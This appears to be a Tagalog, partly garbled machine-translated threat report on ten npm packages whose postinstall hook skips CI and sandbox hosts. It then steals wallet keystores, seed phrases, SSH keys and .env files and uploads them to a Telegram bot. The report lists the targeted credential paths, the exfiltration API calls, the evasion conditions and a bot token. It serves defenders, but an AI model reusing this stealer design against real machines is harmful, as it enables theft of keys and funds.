Tl; DR
Noong Hunyo 9, 2026, isang npm publisher account, aicrypto-xzggg, ipinadala sampung pakete na may mga pangalang may lasang crypto at Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, at anim pa.
Ang bawat pakete ay nagpapatakbo ng parehong payload mula sa isang postinstall hook. Sa pag-install, sinusuri nito kung tumatakbo ito sa loob ng CI o isang sandbox — kung hindi, binabasa nito ang mga wallet keystore, seed-phrase file, SSH key, at .env mga file mula sa anim na blockchain ecosystem at ipinapadala ang mga ito sa isang Telegram bot.
Ang nag-iisang tagapagpahiwatig na maaaring agad na hanapin ng isang tagapagtanggol ay ang Telegram bot id. 8227918239.
Lubhang: mapanganib — direktang pagnanakaw ng mga susi sa pagpirma at mga parirala sa pagbawi mula sa mga workstation ng developer.
Ang Pag-atake: Paano Ito Gumagana
Ang mga pakete ay nag-aanunsyo ng kanilang mga sarili bilang mga kagamitan sa pagbuo ng blockchain. package.json ay minimal at itinuturo ang install lifecycle sa isang script:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } mga script/postinstall.js ay isang one-line shim na naglo-load ng totoong payload: nangangailangan(“../src/index.js”). dahil sa postinstall awtomatikong tumatakbo habang install npm, hindi kinakailangan ang pag-import ng code ng developer — sapat na ang paglalagay ng package sa isang dependency tree upang maisagawa ito.
Ang kadena ng pagpatay sa loob src/index.js ay apat na hakbang:
- Pagsusuri sa kapaligiran. Ang guard function ang nagpapasya kung ang host ay magmumukhang isang build agent o analysis sandbox.
- Pagkaantala. Ang pagpapatupad ay ipinagpaliban sa isang setTimeout ng humigit-kumulang 7.4 segundo.
- Koleksyon. Isang nakapirming listahan ng mga landas ng wallet, susi, at mga lihim na file ang nilalakaran; ang mga umiiral na file ay nakapila.
- Pag-exfiltration. Ang mga nakapila na file ay ipinapadala sa isang Telegram bot, na sinusundan ng isang mensahe ng buod.
Ang listahan ng target na koleksyon ay sumasaklaw sa anim na kadena kasama ang mga generic na sikreto ng developer.
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Dalawampu't isang landas sa kabuuan. Mga entry sa direktoryo tulad ng ~/.ethereum/keystore ay pinalawak at ang bawat file sa loob ay nakapila. Direktang ginagamit ng exfiltration ang Telegram Bot API — isang magpadala ng Mensahe tumawag gamit ang host at buod ng file, pagkatapos ay isang magpadala ng Dokumento pag-upload ng maraming bahagi para sa bawat file:
teksto
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Ang buod na mensahe na binubuo ng code ay nagsisimula sa literal na string MAgnanakaw ng Crypto, na sinusundan ng hostname, username, pangalan ng pinagmulang package, bilang ng file, at timestamp.
Ano ang bago dito
Ang nagpapaiba ay hindi ang mekanismo ng pagnanakaw — Telegram-based exfil mula sa npm postinstall hooks ay natatapakan nang mabuti. Ito ang pintuan ng pagbitay. Bago gumawa ng kahit ano, tatawag ang payload ng isang function na magbabalik ng true kapag ang host ay kahawig ng isang CI runner o sandbox, at babalik nang maaga kapag nangyari ito:
teksto
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Ang container-id regex ay ang mahalagang sugnay: ang 12-hex-character hostname ay ang default na hugis na itinatalaga ng Docker sa isang lalagyan, kaya tinatrato ng payload ang "ang hostname ko ay mukhang isang Docker container" bilang dahilan para manatiling hindi aktibo. Kasama ng pitong segundong pagkaantala, pinapaboran ng disenyo ang pagtakbo sa totoong workstation ng isang developer at pananatiling tahimik kahit saan na mukhang automated analysis. Ang gate na iyon ang pumipigil sa mga signal ng dynamic-analysis at pinanatili ang static exfil flow bilang pangunahing ebidensya ng paniniwala.
timeline
| Petsa (UTC) | pangyayari |
|---|---|
| 2026-06-09 ~02:48 | Ang mga unang pakete sa kumpol ay na-flag sa publikasyon (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Mga miyembrong may mas mataas na bersyon na na-flag (ethereum-kit-9 sa 1.25.36, wallet-sdk-9 sa 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Namarkahan ang mga huling miyembro (defi-tools-39 sa 4.26.29, swap-sdk-87 sa 4.63.78, farming-tools-12 sa 4.68.54) |
| 2026-06-09 | Lahat ng sampung inuri bilang malisyoso at iniulat na aalisin sa registry |
Lahat ng sampu ay lumitaw sa loob ng humigit-kumulang pitumpung minuto, ayon sa iisang scripted publishing run mula sa iisang account.
Mga Tagapagpahiwatig ng Kompromiso
Mga tagapagpahiwatig ng network at pag-uugali (host defanged):
| Nagtuturo | halaga |
|---|---|
| Endpoint ng Exfil | api[.]telegram[.]org (Telegram Bot API) |
| ID ng bot ng Telegram | 8227918239 |
| Token ng bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID ng chat sa Telegram | 6433587894 |
| Ikabit ang kawit | postinstall → scripts/postinstall.js → src/index.js |
| Pananda ng pananda | CRYPTO STEALER sa pinagsama-samang mensahe ng buod |
| Tagapaglathala | aicrypto-xzggg (nakasaad na email vipsyria88@gmail[.]com, hindi na-verify) |
Mga pakete at bersyon, bawat isa ay may SHA-256 nito src/index.js payload (ang mga payload ay magkapareho sa paggana at nagkakaiba lamang sa naka-embed na label ng pangalan ng pakete, kaya ang bawat hash ay magkakaiba):
| pakete | bersyon | SHA-256 ng src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Isang simpleng query sa paghahanap: maghanap sa mga install log at lockfile para sa alinman sa sampung pangalan, at maghanap sa outbound traffic para sa mga koneksyon sa Telegram Bot API mula sa mga build o developer host na hindi naman gumagamit nito.
Pagpapatungkol at Naobserbahang Pag-uugali
Ang lahat ng sampung pakete ay inilathala ng isang account, aicrypto-xzggg, na ang nakasaad na email ay vipsyria88@gmail[.]comParehong hindi na-verify sa metadata ng registry ang email at ang source-control link, at ang account ay mayroong matinding negatibong marka ng reputasyon. Hindi pa namin nakumpirma kung sino ang nagpapatakbo ng account.
Dalawang detalye ang dapat ihiwalay sa anumang pag-aangkin ng pagkakakilanlan. Una, ang package.json may-akda mga pagbasa sa larangan Alex Smith sa bawat pakete, habang ang aktwal na account ng paglalathala ay aicrypto-xzggg; ang patlang ng may-akda ay self-declared metadata at hindi nagtatatag ng pagiging may-akda. Pangalawa, ang mga numero ng bersyon ay lubhang nag-iiba — ang ilang miyembro ay nakaupo sa 1.0.0, ang iba pa sa 4.68.54 — na naaayon sa muling paggamit ng isang payload sa mga bagong gawang pangalan ng pakete sa halip na mapanatili ang mga totoong kasaysayan ng paglabas.
Ang kilos ay pare-pareho sa buong cluster: parehong listahan ng target na landas, parehong Telegram bot id at chat id, parehong environment gate, pareho MAgnanakaw ng Crypto marker. Ang pagkakaparehong iyon ang pinakamalakas na ugnayan sa pagitan ng mga pakete. Ito ay isang signal ng parehong operator, hindi isang pagkakakilanlan.
Epekto, Mga Uso at Patnubay para sa mga Tagapagtanggol
Konkreto ang pagkakalantad. Ang isang developer na nag-i-install ng alinman sa mga paketeng ito sa isang workstation na may hawak na software wallet, seed-phrase file, o SSH key ay binabasa at ipinapadala ang mga file na iyon mula sa host sa loob ng ilang segundo. Ang mga recovery phrase at signing key ay hindi nag-e-expire tulad ng isang session token; kapag ang isang mnemonic.txt o isang Solana id.json umaalis sa makina, ang mga pondong kontrolado nito ay nasa panganib hanggang sa mailipat ang mga ito. Kinukuha rin ng parehong pagtakbo .env mga file, na karaniwang nagdadala ng mga API key at mga kredensyal sa database.
Dalawang trend ang nasa likod ng cluster na ito. Ang una ay ang patuloy na paggamit ng mga pangalang may temang crypto at Web3 upang makaakit ng isang partikular na audience — mga developer na nag-iingat ng mga wallet at key sa parehong makina kung saan sila nag-i-install ng mga dependency. Ang pangalawa ay ang pagkahinog ng sandbox evasion sa mga payload sa oras ng pag-install. Ang isang gate na sumusuri para sa mga CI environment variable, mga username ng runner, at hugis ng hostname ng Docker container-id ay isang sinadyang pagsisikap na kumilos nang naiiba sa ilalim ng pagsusuri kaysa sa isang totoong workstation, at pinapataas nito ang pamantayan para sa purong dynamic na pagtuklas.
Para sa mga tagapagtanggol:
I-install nang naka-disable ang mga script bilang default. npm install –ignore-scripts, o itakda balewalain-scripts=true in .npmrc, pinipigilan postinstall pagpapatupad; paganahin lamang ang mga script para sa mga partikular na dependency na tunay na nangangailangan ng mga ito.
Ilayo ang mga wallet at signing key sa mga build at development machine. Gumamit ng hardware wallet o isang dedikado at dependency-free na signing host.
Gamutin .env, mga keystore, at mga seed-phrase file bilang mga hiyas na korona. Hindi dapat kailanman maupo ang mga ito sa isang direktoryo na isa ring install npm gumaganang puno.
Maghanap ng mga outbound connection papunta sa Telegram Bot API mula sa CI at mga developer host. Karamihan sa mga build environment ay hindi ito tinatawag; ang isang biglaang tinatawag, pagkatapos ng isang pag-install, ay sulit na imbestigahan.
I-pin at suriin ang mga dependency. Isang bagong-bagong pakete na may generic na crypto name, isang postinstall hook, at walang link sa repository ang kailangang tingnan bago ito pumasok sa isang lockfile.
Ang sugnay na "container-id evasion" ay isa ring paalala para sa mga analyst: ang isang payload sa oras ng pag-install na nananatiling hindi aktibo sa isang sandbox ay hindi mabuti, ito ay pumipili lamang. Ang static na pagsusuri sa path ng pag-install ay nananatiling maaasahang paraan upang makita kung ano ang maaaring hindi ipakita ng dynamic na pagpapatupad.
Mga sanggunian
dokumentasyon ng pag-install ng npm — mga script ng lifecycle at –Hindi pansinin-ang mga script— sanggunian para sa hindi pagpapagana ng awtomatikong pag-install hooks.





